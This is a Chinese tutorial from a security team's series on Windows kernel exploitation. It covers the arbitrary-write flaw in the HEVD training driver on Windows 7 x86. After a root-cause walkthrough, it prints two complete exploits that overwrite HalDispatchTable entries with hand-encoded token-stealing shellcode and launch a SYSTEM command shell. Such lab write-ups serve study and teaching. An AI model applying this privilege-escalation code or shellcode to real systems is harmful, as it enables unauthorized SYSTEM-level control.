前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >Windows Kernel Exploitation Notes(二)——HEVD Write-What-Where

Windows Kernel Exploitation Notes(二)——HEVD Write-What-Where

作者头像
Gcow安全团队
发布2021-07-22 11:29:14
5040
发布2021-07-22 11:29:14
举报
文章被收录于专栏:Gcow安全团队Gcow安全团队

Windows Kernel Exploitation Notes(二)——HEVD Write-What-Where

代码语言:javascript
复制
本文一共2704个字 17张图 预计阅读时间15分钟2.本文作者erfze 属于Gcow安全团队复眼小组 未经过许可禁止转载3.本篇文章是Windows Kernel Exploitation Notes系列文章的第二篇HEVD Write-What-Where4.本篇文章十分适合漏洞安全研究人员进行交流学习5.若文章中存在说得不清楚或者错误的地方 欢迎师傅到公众号后台留言中指出 感激不尽

环境配置及基础知识见上一篇,本篇及后续篇章不不再赘述。本篇使用环境如下:

•物理机OS:Windows 10 20H2 x64•物理机WinDbg:10.0.19041.685•虚拟机OS:Windows 7 SP1 x86(6.1.7601.17514)•VMware:VMware Workstation 15 Pro•Visual Studio 2019

0x01 Root Cause Analyses

触发漏洞源码如下:

代码语言:javascript
复制
NTSTATUSTriggerArbitraryWrite(    _In_ PWRITE_WHAT_WHERE UserWriteWhatWhere){    PULONG_PTR What = NULL;    PULONG_PTR Where = NULL;    NTSTATUS Status = STATUS_SUCCESS;    PAGED_CODE();    __try    {        //        // Verify if the buffer resides in user mode        //        ProbeForRead((PVOID)UserWriteWhatWhere, sizeof(WRITE_WHAT_WHERE), (ULONG)__alignof(UCHAR));        What = UserWriteWhatWhere->What;        Where = UserWriteWhatWhere->Where;        DbgPrint("[+] UserWriteWhatWhere: 0x%p\n", UserWriteWhatWhere);        DbgPrint("[+] WRITE_WHAT_WHERE Size: 0x%X\n", sizeof(WRITE_WHAT_WHERE));        DbgPrint("[+] UserWriteWhatWhere->What: 0x%p\n", What);        DbgPrint("[+] UserWriteWhatWhere->Where: 0x%p\n", Where);#ifdef SECURE        //        // Secure Note: This is secure because the developer is properly validating if address        // pointed by 'Where' and 'What' value resides in User mode by calling ProbeForRead()/        // ProbeForWrite() routine before performing the write operation        //        ProbeForRead((PVOID)What, sizeof(PULONG_PTR), (ULONG)__alignof(UCHAR));        ProbeForWrite((PVOID)Where, sizeof(PULONG_PTR), (ULONG)__alignof(UCHAR));        *(Where) = *(What);#else        DbgPrint("[+] Triggering Arbitrary Write\n");        //        // Vulnerability Note: This is a vanilla Arbitrary Memory Overwrite vulnerability        // because the developer is writing the value pointed by 'What' to memory location        // pointed by 'Where' without properly validating if the values pointed by 'Where'        // and 'What' resides in User mode        //        *(Where) = *(What);#endif    }    __except (EXCEPTION_EXECUTE_HANDLER)    {        Status = GetExceptionCode();        DbgPrint("[-] Exception Code: 0x%X\n", Status);    }    //    // There is one more hidden vulnerability. Find it out.    //    return Status;}

对比Vulnerable版本与Secure版本可以发现,其在执行*(Where) = *(What)语句之前未通过ProbeForRead/ProbeForWrite函数校验读取及写入地址的合法性。跟进ProbeForRead函数:

图1

首先是校验边界,其次校验地址是否处于用户空间范围内(nt!MmUserProbeAddress其值由MiInitializeBootDefaults函数初始化):

图2

边界未对齐,触发STATUS_DATATYPE_MISALIGNMENT异常:

图3

越界则触发STATUS_ACCESS_VIOLATION异常:

图4

ProbeForWrite函数在边界对齐及地址范围校验方面与ProbeForRead类似,除此之外该函数会校验地址是否可写,可读,可访问:

图5

编写POC如下:

代码语言:javascript
复制
#include <stdio.h>#include <windows.h>#define IOCTL(Function) CTL_CODE(FILE_DEVICE_UNKNOWN, Function, METHOD_NEITHER, FILE_ANY_ACCESS)#define HEVD_IOCTL_ARBITRARY_WRITE                               IOCTL(0x802)typedef struct _WRITE_WHAT_WHERE{    PULONG_PTR What;    PULONG_PTR Where;} WRITE_WHAT_WHERE, * PWRITE_WHAT_WHERE;int main(){    HANDLE dev = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver", GENERIC_READ | GENERIC_WRITE, NULL, NULL, OPEN_EXISTING, NULL, NULL);    if (dev == INVALID_HANDLE_VALUE)    {        printf("Failed!\n");        system("pause");        return -1;    }    printf("Done! Device Handle:0x%p\n", dev);    PWRITE_WHAT_WHERE Buffer;    Buffer = (WRITE_WHAT_WHERE*)malloc(sizeof(WRITE_WHAT_WHERE));    ZeroMemory(Buffer, sizeof(WRITE_WHAT_WHERE));    Buffer->Where=(PULONG_PTR)0x41414141;    Buffer->What = (PULONG_PTR)0x42424242;    DWORD size_returned = 0;    BOOL is_ok = DeviceIoControl(dev, HEVD_IOCTL_ARBITRARY_WRITE, Buffer, sizeof(WRITE_WHAT_WHERE), NULL, 0, &size_returned, NULL);    CloseHandle(dev);    system("pause");    return 0;}

触发漏洞:

图6

0x02 Exploit

根据上文分析,现已可以实现任意地址写。将nt!HalDispatchTable中函数地址覆盖为Shellcode地址可以实现任意代码执行,具体见下文分析。

nt!HalDispatchTableHalQuerySystemInformationHalSetSystemInformation是在内核初始化过程中确定的:

图7

二者分别可以通过NtQueryIntervalProfileNtSetIntervalProfile函数调用:

图8

图9

下面分别来介绍如何按上图执行流来执行至目标函数。NtQueryIntervalProfile函数定义如下:

代码语言:javascript
复制
NTSTATUS NtQueryIntervalProfile (    KPROFILE_SOURCE ProfileSource,     ULONG *Interval);

其中KPROFILE_SOURCE是一枚举类型:

代码语言:javascript
复制
typedef enum _KPROFILE_SOURCE {    ProfileTime,    ProfileAlignmentFixup,    ProfileTotalIssues,    ProfilePipelineDry,    ProfileLoadInstructions,    ProfilePipelineFrozen,    ProfileBranchInstructions,    ProfileTotalNonissues,    ProfileDcacheMisses,    ProfileIcacheMisses,    ProfileCacheMisses,    ProfileBranchMispredictions,    ProfileStoreInstructions,    ProfileFpInstructions,    ProfileIntegerInstructions,    Profile2Issue,    Profile3Issue,    Profile4Issue,    ProfileSpecialInstructions,    ProfileTotalCycles,    ProfileIcacheIssues,    ProfileDcacheAccesses,    ProfileMemoryBarrierCycles,    ProfileLoadLinkedIssues,    ProfileMaximum} KPROFILE_SOURCE, *PKPROFILE_SOURCE;

NtQueryIntervalProfile首先校验_KTHREADPreviousMode(Offset 0x13A)字段值(关于_KPCR_KPRCB_KTHREAD上一篇有介绍):

图10

其次判断参数Interval指向地址是否超过MmUserProbeAddress

图11

最后判断ProfileSource是否为零,非零值则调用KeQueryIntervalProfile

图12

KeQueryIntervalProfile会判断ProfileSource是否为1,不为1才会继续调用nt!HalDispatchTable+0x4

图13

如此,笔者构造Exploit中对该函数调用如下:

代码语言:javascript
复制
PNtQueryIntervalProfile NtQueryIntervalProfile = (PNtQueryIntervalProfile)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtQueryIntervalProfile");    if (!NtQueryIntervalProfile) {        cout << "[!] Failed to Get the Address of NtQueryIntervalProfile." << endl;        cout << "[!] Last error " << GetLastError() << endl;        exit(1);    }    NtQueryIntervalProfile(ProfileTotalIssues, (ULONG*)SC);        //SC——>Shellcode Address

nt!HalDispatchTable+0x4函数调用不止KeQueryIntervalProfile一处,所以在Shellcode中需要将其替换成原数值,通过其与HalSetSystemInformation函数地址相差0x912来进行恢复:

代码语言:javascript
复制
INT32 KrBase = GetKernelBaseAddress();    INT32 HalDispatchTable_Address = KrBase + 0x0012b3f8;    INT32 HalQuerySystemInformation_Address = HalDispatchTable_Address + 0x4;    INT32 HalSetSystemInformation_Address = HalDispatchTable_Address + 0x8;     //HalQuerySystemInformation_Address Offset 0x14    CHAR* SC = (CHAR*)VirtualAlloc(0, 0x60, 0x3000, 0x40);    ZeroMemory(SC, 0x60);    __asm {        pushad;        mov eax, HalSetSystemInformation_Address;        mov ebx, HalQuerySystemInformation_Address;        mov edi, SC;        mov[edi], 0x60;        mov dword ptr[edi + 0x1], 0x000000E8;        mov dword ptr[edi + 0x5], 0x588B5800;        mov dword ptr[edi + 0x9], 0x4F488B4B;        mov dword ptr[edi + 0xD], 0xEA81138B;        mov dword ptr[edi + 0x11], 0x00000912;        mov dword ptr[edi + 0x15], 0x90901189;        mov dword ptr[edi + 0x19], 0x8B64C031;        mov dword ptr[edi + 0x1D], 0x00012480;        mov dword ptr[edi + 0x21], 0x50408B00;        mov dword ptr[edi + 0x25], 0x04BAC189;        mov dword ptr[edi + 0x29], 0x8B000000;        mov dword ptr[edi + 0x2D], 0x0000B880;        mov dword ptr[edi + 0x31], 0x00B82D00;        mov dword ptr[edi + 0x35], 0x90390000;        mov dword ptr[edi + 0x39], 0x000000B4;        mov dword ptr[edi + 0x3D], 0x908BED75;        mov dword ptr[edi + 0x41], 0x000000F8;        mov dword ptr[edi + 0x45], 0x00F89189;        mov dword ptr[edi + 0x49], 0x31610000;        mov dword ptr[edi + 0x4D], 0x0000C3C0;        mov dword ptr[edi + 0x51], eax;        mov dword ptr[edi + 0x55], ebx;        popad;    }

Shellcode如下:

图14

NtSetIntervalProfile函数定义如下:

代码语言:javascript
复制
NTSTATUS NtSetIntervalProfile (    ULONG Interval,     KPROFILE_SOURCE ProfileSource);

其对参数判断位于KeSetIntervalProfile函数内,首先校验nt!PerfGlobalGroupMask+0x4

图15

其次判断ProfileSource是否为0及是否为1:

图16

上述两种方式思想相同,只是具体实现方式略有不同,两种方式完整Exploit如下:

代码语言:javascript
复制
/*
* 提示:该行代码过长,系统自动注释不进行高亮。一键复制会移除系统注释 
* //HalSetSystemInformation#include <iostream>#include <string.h>#include <Windows.h>using namespace std;#define IOCTL(Function) CTL_CODE(FILE_DEVICE_UNKNOWN, Function, METHOD_NEITHER, FILE_ANY_ACCESS)#define HEVD_IOCTL_ARBITRARY_WRITE                               IOCTL(0x802)typedef struct SYSTEM_MODULE {    ULONG                Reserved1;    ULONG                Reserved2;    PVOID                ImageBaseAddress;    ULONG                ImageSize;    ULONG                Flags;    WORD                 Id;    WORD                 Rank;    WORD                 LoadCount;    WORD                 NameOffset;    CHAR                 Name[256];}SYSTEM_MODULE, * PSYSTEM_MODULE;typedef struct SYSTEM_MODULE_INFORMATION{    ULONG                ModulesCount;    SYSTEM_MODULE        Modules[1];} SYSTEM_MODULE_INFORMATION, * PSYSTEM_MODULE_INFORMATION;typedef enum _SYSTEM_INFORMATION_CLASS{    SystemModuleInformation = 0xB} SYSTEM_INFORMATION_CLASS;typedef struct _WRITE_WHAT_WHERE{    PULONG_PTR What;    PULONG_PTR Where;} WRITE_WHAT_WHERE, * PWRITE_WHAT_WHERE;typedef enum _KPROFILE_SOURCE {    ProfileTime,    ProfileAlignmentFixup,    ProfileTotalIssues,    ProfilePipelineDry,    ProfileLoadInstructions,    ProfilePipelineFrozen,    ProfileBranchInstructions,    ProfileTotalNonissues,    ProfileDcacheMisses,    ProfileIcacheMisses,    ProfileCacheMisses,    ProfileBranchMispredictions,    ProfileStoreInstructions,    ProfileFpInstructions,    ProfileIntegerInstructions,    Profile2Issue,    Profile3Issue,    Profile4Issue,    ProfileSpecialInstructions,    ProfileTotalCycles,    ProfileIcacheIssues,    ProfileDcacheAccesses,    ProfileMemoryBarrierCycles,    ProfileLoadLinkedIssues,    ProfileMaximum} KPROFILE_SOURCE, * PKPROFILE_SOURCE;typedef NTSTATUS(WINAPI* PNtQuerySystemInformation)(    __in SYSTEM_INFORMATION_CLASS SystemInformationClass,    __inout PVOID SystemInformation,    __in ULONG SystemInformationLength,    __out_opt PULONG ReturnLength    );typedef NTSTATUS(WINAPI* PNtQueryIntervalProfile)(    __in KPROFILE_SOURCE ProfileSource,    __in ULONG* Interval);typedef NTSTATUS(WINAPI* PNtSetIntervalProfile)(    __in ULONG* Interval,    __in KPROFILE_SOURCE ProfileSource);INT32 GetKernelBaseAddress(){    //Get NtQuerySystemInformation Address    PNtQuerySystemInformation NtQuerySystemInformation =(PNtQuerySystemInformation)GetProcAddress(GetModuleHandleA("ntdll.dll"),"NtQuerySystemInformation");    if (!NtQuerySystemInformation){        cout << "[!] Failed to Get the Address of NtQuerySystemInformation." << endl;        cout << "[!] Last Error:" << GetLastError() << endl;        exit(1);    }    ULONG len = 0;    //Get Buffer Length    NtQuerySystemInformation(SystemModuleInformation,NULL,0,&len);    //Allocate Memory    PSYSTEM_MODULE_INFORMATION PModuleInfo = (PSYSTEM_MODULE_INFORMATION)VirtualAlloc(NULL,len,MEM_RESERVE | MEM_COMMIT,PAGE_EXECUTE_READWRITE);    //Get SYSTEM_MODULE_INFORMATION     NTSTATUS Status = NtQuerySystemInformation(SystemModuleInformation,PModuleInfo,len,&len);    if (Status != (NTSTATUS)0x0){        cout << "[!] NtQuerySystemInformation Failed!" << endl;        exit(1);    }    PVOID KernelImageBase = PModuleInfo->Modules[0].ImageBaseAddress;    cout << "[>] Kernel base address: 0x" << hex << KernelImageBase << endl;    return (INT32)KernelImageBase;}int main() {    HANDLE hFile = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver", GENERIC_READ | GENERIC_WRITE, NULL, NULL, OPEN_EXISTING, NULL, NULL);    if (hFile == INVALID_HANDLE_VALUE) {        cout << "[!] No Handle to HackSysExtremeVulnerableDriver" << endl;        exit(1);    }    cout << "[>] Handle to HackSysExtremeVulnerableDriver: 0x" << hex << (INT32)hFile << endl;    INT32 KrBase = GetKernelBaseAddress();    INT32 HalDispatchTable_Address = KrBase + 0x0012b3f8;    INT32 HalQuerySystemInformation_Address = HalDispatchTable_Address + 0x4;    INT32 HalSetSystemInformation_Address = HalDispatchTable_Address + 0x8;     //HalQuerySystemInformation_Address Offset 0x912    CHAR* SC = (CHAR*)VirtualAlloc(0, 0x60, 0x3000, 0x40);    ZeroMemory(SC, 0x60);    __asm {        pushad;        mov ebx, HalSetSystemInformation_Address;        mov eax, HalQuerySystemInformation_Address;        mov edi, SC;        mov[edi], 0x60;        mov dword ptr[edi + 0x1], 0x000000E8;        mov dword ptr[edi + 0x5], 0x588B5800;        mov dword ptr[edi + 0x9], 0x4F488B4B;        mov dword ptr[edi + 0xD], 0xC281138B;        mov dword ptr[edi + 0x11], 0x00000912;        mov dword ptr[edi + 0x15], 0x90901189;        mov dword ptr[edi + 0x19], 0x8B64C031;        mov dword ptr[edi + 0x1D], 0x00012480;        mov dword ptr[edi + 0x21], 0x50408B00;        mov dword ptr[edi + 0x25], 0x04BAC189;        mov dword ptr[edi + 0x29], 0x8B000000;        mov dword ptr[edi + 0x2D], 0x0000B880;        mov dword ptr[edi + 0x31], 0x00B82D00;        mov dword ptr[edi + 0x35], 0x90390000;        mov dword ptr[edi + 0x39], 0x000000B4;        mov dword ptr[edi + 0x3D], 0x908BED75;        mov dword ptr[edi + 0x41], 0x000000F8;        mov dword ptr[edi + 0x45], 0x00F89189;        mov dword ptr[edi + 0x49], 0x31610000;        mov dword ptr[edi + 0x4D], 0x0000C3C0;        mov dword ptr[edi + 0x51], eax;        mov dword ptr[edi + 0x55], ebx;        popad;    }    PULONG_PTR* PShellcode = (PULONG_PTR*)&SC;    PWRITE_WHAT_WHERE Buffer;    Buffer = (WRITE_WHAT_WHERE*)malloc(sizeof(WRITE_WHAT_WHERE));    ZeroMemory(Buffer, sizeof(WRITE_WHAT_WHERE));    Buffer->Where = (PULONG_PTR)HalSetSystemInformation_Address;    Buffer->What = (PULONG_PTR)PShellcode;    DWORD size_returned = 0;    BOOL is_ok = DeviceIoControl(hFile, HEVD_IOCTL_ARBITRARY_WRITE, Buffer, sizeof(WRITE_WHAT_WHERE), NULL, 0, &size_returned, NULL);    PNtSetIntervalProfile NtSetIntervalProfile = (PNtSetIntervalProfile)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtSetIntervalProfile");    if (!NtSetIntervalProfile) {        cout << "[!] Failed to Get the Address of NtSetIntervalProfile." << endl;        cout << "[!] Last error " << GetLastError() << endl;        exit(1);    }    NtSetIntervalProfile((ULONG*)SC, ProfileTotalIssues);    PROCESS_INFORMATION ProcessInformation;    ZeroMemory(&ProcessInformation, sizeof(ProcessInformation));    STARTUPINFOA StartupInfo;    ZeroMemory(&StartupInfo, sizeof(StartupInfo));    CreateProcessA("C:\\Windows\\System32\\cmd.exe", NULL, NULL, NULL, 0, CREATE_NEW_CONSOLE, NULL, NULL, &StartupInfo, &ProcessInformation);    VirtualFree(SC, 0, MEM_RELEASE);}
*/

代码语言:javascript
复制
/*
* 提示:该行代码过长,系统自动注释不进行高亮。一键复制会移除系统注释 
* //HalQuerySystemInformation#include <iostream>#include <string.h>#include <Windows.h>using namespace std;#define IOCTL(Function) CTL_CODE(FILE_DEVICE_UNKNOWN, Function, METHOD_NEITHER, FILE_ANY_ACCESS)#define HEVD_IOCTL_ARBITRARY_WRITE                               IOCTL(0x802)typedef struct SYSTEM_MODULE {    ULONG                Reserved1;    ULONG                Reserved2;    PVOID                ImageBaseAddress;    ULONG                ImageSize;    ULONG                Flags;    WORD                 Id;    WORD                 Rank;    WORD                 LoadCount;    WORD                 NameOffset;    CHAR                 Name[256];}SYSTEM_MODULE, * PSYSTEM_MODULE;typedef struct SYSTEM_MODULE_INFORMATION{    ULONG                ModulesCount;    SYSTEM_MODULE        Modules[1];} SYSTEM_MODULE_INFORMATION, * PSYSTEM_MODULE_INFORMATION;typedef enum _SYSTEM_INFORMATION_CLASS{    SystemModuleInformation = 0xB} SYSTEM_INFORMATION_CLASS;typedef struct _WRITE_WHAT_WHERE{    PULONG_PTR What;    PULONG_PTR Where;} WRITE_WHAT_WHERE, * PWRITE_WHAT_WHERE;typedef enum _KPROFILE_SOURCE {    ProfileTime,    ProfileAlignmentFixup,    ProfileTotalIssues,    ProfilePipelineDry,    ProfileLoadInstructions,    ProfilePipelineFrozen,    ProfileBranchInstructions,    ProfileTotalNonissues,    ProfileDcacheMisses,    ProfileIcacheMisses,    ProfileCacheMisses,    ProfileBranchMispredictions,    ProfileStoreInstructions,    ProfileFpInstructions,    ProfileIntegerInstructions,    Profile2Issue,    Profile3Issue,    Profile4Issue,    ProfileSpecialInstructions,    ProfileTotalCycles,    ProfileIcacheIssues,    ProfileDcacheAccesses,    ProfileMemoryBarrierCycles,    ProfileLoadLinkedIssues,    ProfileMaximum} KPROFILE_SOURCE, * PKPROFILE_SOURCE;typedef NTSTATUS(WINAPI* PNtQuerySystemInformation)(    __in SYSTEM_INFORMATION_CLASS SystemInformationClass,    __inout PVOID SystemInformation,    __in ULONG SystemInformationLength,    __out_opt PULONG ReturnLength    );typedef NTSTATUS(WINAPI* PNtQueryIntervalProfile)(    __in KPROFILE_SOURCE ProfileSource,    __in ULONG* Interval);typedef NTSTATUS(WINAPI* PNtSetIntervalProfile)(    __in ULONG* Interval,    __in KPROFILE_SOURCE ProfileSource);INT32 GetKernelBaseAddress(){    //Get NtQuerySystemInformation Address    PNtQuerySystemInformation NtQuerySystemInformation =(PNtQuerySystemInformation)GetProcAddress(GetModuleHandleA("ntdll.dll"),"NtQuerySystemInformation");    if (!NtQuerySystemInformation){        cout << "[!] Failed to Get the Address of NtQuerySystemInformation." << endl;        cout << "[!] Last Error:" << GetLastError() << endl;        exit(1);    }    ULONG len = 0;    //Get Buffer Length    NtQuerySystemInformation(SystemModuleInformation,NULL,0,&len);    //Allocate Memory    PSYSTEM_MODULE_INFORMATION PModuleInfo = (PSYSTEM_MODULE_INFORMATION)VirtualAlloc(NULL,len,MEM_RESERVE | MEM_COMMIT,PAGE_EXECUTE_READWRITE);    //Get SYSTEM_MODULE_INFORMATION     NTSTATUS Status = NtQuerySystemInformation(SystemModuleInformation,PModuleInfo,len,&len);    if (Status != (NTSTATUS)0x0){        cout << "[!] NtQuerySystemInformation Failed!" << endl;        exit(1);    }    PVOID KernelImageBase = PModuleInfo->Modules[0].ImageBaseAddress;    cout << "[>] Kernel base address: 0x" << hex << KernelImageBase << endl;    return (INT32)KernelImageBase;}int main() {    HANDLE hFile = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver", GENERIC_READ | GENERIC_WRITE, NULL, NULL, OPEN_EXISTING, NULL, NULL);    if (hFile == INVALID_HANDLE_VALUE) {        cout << "[!] No Handle to HackSysExtremeVulnerableDriver" << endl;        exit(1);    }    cout << "[>] Handle to HackSysExtremeVulnerableDriver: 0x" << hex << (INT32)hFile << endl;    INT32 KrBase = GetKernelBaseAddress();    INT32 HalDispatchTable_Address = KrBase + 0x0012b3f8;    INT32 HalQuerySystemInformation_Address = HalDispatchTable_Address + 0x4;    INT32 HalSetSystemInformation_Address = HalDispatchTable_Address + 0x8;     //HalQuerySystemInformation_Address Offset 0x912    CHAR* SC = (CHAR*)VirtualAlloc(0, 0x60, 0x3000, 0x40);    ZeroMemory(SC, 0x60);    __asm {        pushad;        mov eax, HalSetSystemInformation_Address;        mov ebx, HalQuerySystemInformation_Address;        mov edi, SC;        mov[edi], 0x60;        mov dword ptr[edi + 0x1], 0x000000E8;        mov dword ptr[edi + 0x5], 0x588B5800;        mov dword ptr[edi + 0x9], 0x4F488B4B;        mov dword ptr[edi + 0xD], 0xEA81138B;        mov dword ptr[edi + 0x11], 0x00000912;        mov dword ptr[edi + 0x15], 0x90901189;        mov dword ptr[edi + 0x19], 0x8B64C031;        mov dword ptr[edi + 0x1D], 0x00012480;        mov dword ptr[edi + 0x21], 0x50408B00;        mov dword ptr[edi + 0x25], 0x04BAC189;        mov dword ptr[edi + 0x29], 0x8B000000;        mov dword ptr[edi + 0x2D], 0x0000B880;        mov dword ptr[edi + 0x31], 0x00B82D00;        mov dword ptr[edi + 0x35], 0x90390000;        mov dword ptr[edi + 0x39], 0x000000B4;        mov dword ptr[edi + 0x3D], 0x908BED75;        mov dword ptr[edi + 0x41], 0x000000F8;        mov dword ptr[edi + 0x45], 0x00F89189;        mov dword ptr[edi + 0x49], 0x31610000;        mov dword ptr[edi + 0x4D], 0x0000C3C0;        mov dword ptr[edi + 0x51], eax;        mov dword ptr[edi + 0x55], ebx;        popad;    }    PULONG_PTR* PShellcode = (PULONG_PTR*)&SC;    PWRITE_WHAT_WHERE Buffer;    Buffer = (WRITE_WHAT_WHERE*)malloc(sizeof(WRITE_WHAT_WHERE));    ZeroMemory(Buffer, sizeof(WRITE_WHAT_WHERE));    Buffer->Where = (PULONG_PTR)HalQuerySystemInformation_Address;    Buffer->What = (PULONG_PTR)PShellcode;    DWORD size_returned = 0;    BOOL is_ok = DeviceIoControl(hFile, HEVD_IOCTL_ARBITRARY_WRITE, Buffer, sizeof(WRITE_WHAT_WHERE), NULL, 0, &size_returned, NULL);    PNtQueryIntervalProfile NtQueryIntervalProfile = (PNtQueryIntervalProfile)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtQueryIntervalProfile");    if (!NtQueryIntervalProfile) {        cout << "[!] Failed to Get the Address of NtQueryIntervalProfile." << endl;        cout << "[!] Last error " << GetLastError() << endl;        exit(1);    }    NtQueryIntervalProfile(ProfileTotalIssues, (ULONG*)SC);    PROCESS_INFORMATION ProcessInformation;    ZeroMemory(&ProcessInformation, sizeof(ProcessInformation));    STARTUPINFOA StartupInfo;    ZeroMemory(&StartupInfo, sizeof(StartupInfo));    CreateProcessA("C:\\Windows\\System32\\cmd.exe", NULL, NULL, NULL, 0, CREATE_NEW_CONSOLE, NULL, NULL, &StartupInfo, &ProcessInformation);    VirtualFree(SC, 0, MEM_RELEASE);}
*/

效果如下:

图17

0x03 参阅链接

•[NTSTATUS Values—Microsoft Docs]https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-erref/596a1078-e883-4972-9bbc-49e60bebca55•[ProbeForRead—Microsoft Docs]https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/wdm/nf-wdm-probeforread•[ProbeForWrite—Microsoft Docs]https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/wdm/nf-wdm-probeforwrite•[Exploiting common flaws in drivers]https://shinnai.altervista.org/papers_videos/ECFID.pdf•[ZwQueryIntervalProfile]https://www.geoffchappell.com/studies/windows/km/ntoskrnl/api/ex/profile/queryinterval.htm•[ZwSetIntervalProfile]https://www.geoffchappell.com/studies/windows/km/ntoskrnl/api/ex/profile/setinterval.htm•[KPROFILE_SOURCE]https://www.geoffchappell.com/studies/windows/km/ntoskrnl/api/ke/profobj/kprofile_source.htm

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2021-07-05,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 Gcow安全团队 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • Windows Kernel Exploitation Notes(二)——HEVD Write-What-Where
    • 0x01 Root Cause Analyses
      • 0x02 Exploit
        • 0x03 参阅链接
        领券
        问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档